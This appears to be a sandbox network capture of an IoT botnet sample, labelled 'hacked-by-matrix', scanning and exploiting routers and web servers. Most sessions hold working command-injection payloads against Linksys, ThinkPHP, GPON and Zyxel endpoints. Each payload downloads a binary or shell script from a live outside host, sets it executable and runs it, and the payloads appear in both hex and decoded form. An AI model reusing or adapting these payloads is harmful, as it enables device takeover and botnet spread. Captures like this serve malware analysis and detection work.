Mar 21, 2024 05:22:55.795074940 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:55 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.13	56784	172.65.99.221	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:55.464122057 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.13	48746	95.57.104.234	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:55.497853994 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:55.775850058 CET	964	IN	Data Raw: 68 69 6e 6b 07 70 70 2f 69 6e 76 6f 6b 65 66 75 6e 63 74 69 6f 6e 26 66 75 6e 63 74 69 6f 6e 3d 63 61 6c 6c 5f 75 73 65 72 5f 66 75 6e 63 5f 61 72 72 61 79 26 76 61 72 73 5b 30 5d 3d 73 68 65 6c 6c 5f 65 78 65 63 26 76 61 72 73 5b 31 5d 5b 5d 3d Data Ascii: hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 404 Not FoundServer: mini_httpd/1.30 26Oct2018Date:
Mar 21, 2024 05:22:56.607716084 CET	964	IN	Data Raw: 68 69 6e 6b 07 70 70 2f 69 6e 76 6f 6b 65 66 75 6e 63 74 69 6f 6e 26 66 75 6e 63 74 69 6f 6e 3d 63 61 6c 6c 5f 75 73 65 72 5f 66 75 6e 63 5f 61 72 72 61 79 26 76 61 72 73 5b 30 5d 3d 73 68 65 6c 6c 5f 65 78 65 63 26 76 61 72 73 5b 31 5d 5b 5d 3d Data Ascii: hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 404 Not FoundServer: mini_httpd/1.30 26Oct2018Date:

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.13	53326	18.223.94.37	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:55.514828920 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:55.625669003 CET	188	IN	HTTP/1.1 200 b'OK' Server: Werkzeug/2.1.2 Python/3.8.10 Date: Thu, 21 Mar 2024 04:22:55 GMT b'Content-Type': b'text/plain' Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.13	49130	54.250.57.157	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.457330942 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:56.743268967 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:22:56 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>
Mar 21, 2024 05:22:58.185581923 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:22:56 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.13	55190	118.172.2.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.649787903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.13	37292	212.56.50.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.649847984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.13	48702	212.22.161.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.649868965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.13	59018	109.138.243.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.649877071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.13	59400	80.77.86.95	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.721592903 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:56.842771053 CET	1286	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:22:56 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-cache, private Vary: Origin X-Clockwork-Id: 1710994976-7778-2033127856 X-Clockwork-Version: 5.1.12 Server-Timing: app; dur=25.38800239563; desc="Application", timeline-event-0; dur=3.9370059967041; desc="Controller" X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, private Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/json Data Raw: 31 65 61 62 0d 0a 7b 0a 20 20 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 54 68 65 20 72 6f 75 74 65 20 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 2e 22 2c 0a 20 20 20 20 22 65 78 63 65 70 74 69 6f 6e 22 3a 20 22 53 79 6d 66 6f 6e 79 5c 5c 43 6f 6d 70 6f 6e 65 6e 74 5c 5c 48 74 74 70 4b 65 72 6e 65 6c 5c 5c 45 78 63 65 70 74 69 6f 6e 5c 5c 4e 6f 74 46 6f 75 6e 64 48 74 74 70 45 78 63 65 70 74 69 6f 6e 22 2c 0a 20 20 20 20 22 66 69 6c 65 22 3a 20 22 2f 76 61 72 2f 77 77 77 2f 77 6c 73 2d 63 6f 72 65 2d 75 69 2d 6e 65 77 2f 76 65 6e 64 6f 72 2f 6c 61 72 61 76 65 6c 2f 66 72 61 6d 65 77 6f 72 6b 2f 73 72 63 2f 49 6c 6c 75 6d 69 6e 61 74 65 2f 52 6f 75 74 69 6e 67 2f 41 62 73 74 72 61 63 74 52 6f 75 74 65 43 6f 6c 6c 65 63 74 69 6f 6e 2e 70 68 70 22 2c 0a 20 20 20 20 22 6c 69 6e 65 22 3a 20 34 34 2c 0a 20 20 20 20 22 74 72 61 63 65 22 3a 20 5b 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 66 69 6c 65 22 3a 20 22 2f 76 61 72 2f 77 77 77 2f 77 6c 73 2d 63 6f 72 65 2d 75 69 2d 6e 65 77 2f 76 65 6e 64 6f 72 2f 6c 61 72 61 76 65 6c 2f 66 72 61 6d 65 77 6f 72 6b 2f 73 72 63 2f 49 6c 6c 75 6d 69 6e 61 74 65 2f 52 6f 75 74 69 6e 67 2f 52 6f 75 74 65 43 6f 6c 6c 65 63 74 69 6f 6e 2e 70 68 70 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6c 69 6e 65 22 3a 20 31 36 32 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 66 75 6e 63 74 69 6f 6e 22 3a 20 22 68 61 6e 64 6c 65 4d 61 74 63 68 65 64 52 6f 75 74 65 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6c 61 73 73 22 3a 20 22 49 6c 6c 75 6d 69 6e 61 74 65 5c 5c 52 6f 75 74 69 6e 67 5c 5c 41 62 73 74 72 61 63 74 52 6f 75 74 65 43 6f 6c 6c 65 63 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 79 70 65 22 3a 20 22 2d 3e 22 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 66 69 6c 65 22 3a 20 22 2f 76 61 72 2f 77 77 77 2f 77 6c 73 2d 63 6f 72 65 2d 75 69 2d 6e 65 77 2f 76 65 6e 64 6f 72 2f 6c 61 72 61 76 65 6c 2f 66 72 61 6d 65 77 6f 72 6b 2f 73 72 63 2f Data Ascii: 1eab{ "message": "The route cgi-bin/ViewLog.asp could not be found.", "exception": "Symfony\\Component\\HttpKernel\\Exception\\NotFoundHttpException", "file": "/var/www/wls-core-ui-new/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php", "line": 44, "trace": [ { "file": "/var/www/wls-core-ui-new/vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php", "line": 162, "function": "handleMatchedRoute", "class": "Illuminate\\Routing\\AbstractRouteCollection", "type": "->" }, { "file": "/var/www/wls-core-ui-new/vendor/laravel/framework/src/
Mar 21, 2024 05:22:56.842832088 CET	1286	IN	Data Raw: 49 6c 6c 75 6d 69 6e 61 74 65 2f 52 6f 75 74 69 6e 67 2f 52 6f 75 74 65 72 2e 70 68 70 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6c 69 6e 65 22 3a 20 37 35 34 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 66 75 6e 63 74 69 6f 6e 22 3a 20 22 Data Ascii: Illuminate/Routing/Router.php", "line": 754, "function": "match", "class": "Illuminate\\Routing\\RouteCollection", "type": "->" }, { "file": "/var/www/wls-core-ui-new/
Mar 21, 2024 05:22:56.842936039 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 22 74 79 70 65 22 3a 20 22 2d 3e 22 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 66 69 6c 65 22 3a 20 22 2f 76 61 72 2f 77 77 77 2f 77 6c 73 2d 63 6f Data Ascii: "type": "->" }, { "file": "/var/www/wls-core-ui-new/app/Http/Middleware/RefreshToken.php", "line": 20, "function": "Illuminate\\Pipeline\\{closure}", "class": "Illumin
Mar 21, 2024 05:22:56.842962980 CET	1286	IN	Data Raw: 77 6c 73 2d 63 6f 72 65 2d 75 69 2d 6e 65 77 2f 76 65 6e 64 6f 72 2f 6c 61 72 61 76 65 6c 2f 66 72 61 6d 65 77 6f 72 6b 2f 73 72 63 2f 49 6c 6c 75 6d 69 6e 61 74 65 2f 50 69 70 65 6c 69 6e 65 2f 50 69 70 65 6c 69 6e 65 2e 70 68 70 22 2c 0a 20 20 Data Ascii: wls-core-ui-new/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php", "line": 180, "function": "handle", "class": "Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull",
Mar 21, 2024 05:22:56.843025923 CET	1286	IN	Data Raw: 6d 65 77 6f 72 6b 2f 73 72 63 2f 49 6c 6c 75 6d 69 6e 61 74 65 2f 46 6f 75 6e 64 61 74 69 6f 6e 2f 48 74 74 70 2f 4d 69 64 64 6c 65 77 61 72 65 2f 56 61 6c 69 64 61 74 65 50 6f 73 74 53 69 7a 65 2e 70 68 70 22 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: mework/src/Illuminate/Foundation/Http/Middleware/ValidatePostSize.php", "line": 27, "function": "Illuminate\\Pipeline\\{closure}", "class": "Illuminate\\Pipeline\\Pipeline", "type": "->"
Mar 21, 2024 05:22:56.843074083 CET	1286	IN	Data Raw: 2f 73 72 63 2f 49 6c 6c 75 6d 69 6e 61 74 65 2f 48 74 74 70 2f 4d 69 64 64 6c 65 77 61 72 65 2f 48 61 6e 64 6c 65 43 6f 72 73 2e 70 68 70 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6c 69 6e 65 22 3a 20 36 32 2c 0a 20 20 20 20 20 20 20 20 20 Data Ascii: /src/Illuminate/Http/Middleware/HandleCors.php", "line": 62, "function": "Illuminate\\Pipeline\\{closure}", "class": "Illuminate\\Pipeline\\Pipeline", "type": "->" }, {
Mar 21, 2024 05:22:56.843089104 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 22 63 6c 61 73 73 22 3a 20 22 49 6c 6c 75 6d 69 6e 61 74 65 5c 5c 50 69 70 65 6c 69 6e 65 5c 5c 50 69 70 65 6c 69 6e 65 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 79 70 65 22 3a 20 22 2d 3e 22 0a 20 20 20 20 20 20 Data Ascii: "class": "Illuminate\\Pipeline\\Pipeline", "type": "->" }, { "file": "/var/www/wls-core-ui-new/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php", "line": 180,
Mar 21, 2024 05:22:56.843157053 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 22 66 69 6c 65 22 3a 20 22 2f 76 61 72 2f 77 77 77 2f 77 6c 73 2d 63 6f 72 65 2d 75 69 2d 6e 65 77 2f 76 65 6e 64 6f 72 2f 6c 61 72 61 76 65 6c 2f 66 72 61 6d 65 77 6f 72 6b 2f 73 72 63 2f 49 6c 6c 75 6d 69 6e 61 Data Ascii: "file": "/var/www/wls-core-ui-new/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php", "line": 175, "function": "then", "class": "Illuminate\\Pipeline\\Pipeline", "type
Mar 21, 2024 05:22:56.843189001 CET	50	IN	Data Raw: 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: .com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.13	53338	18.223.94.37	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.759766102 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:56.884882927 CET	188	IN	HTTP/1.1 200 b'OK' Server: Werkzeug/2.1.2 Python/3.8.10 Date: Thu, 21 Mar 2024 04:22:56 GMT b'Content-Type': b'text/plain' Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.13	46462	95.170.74.48	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:56.842634916 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.13	56608	181.136.230.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:57.009860039 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: 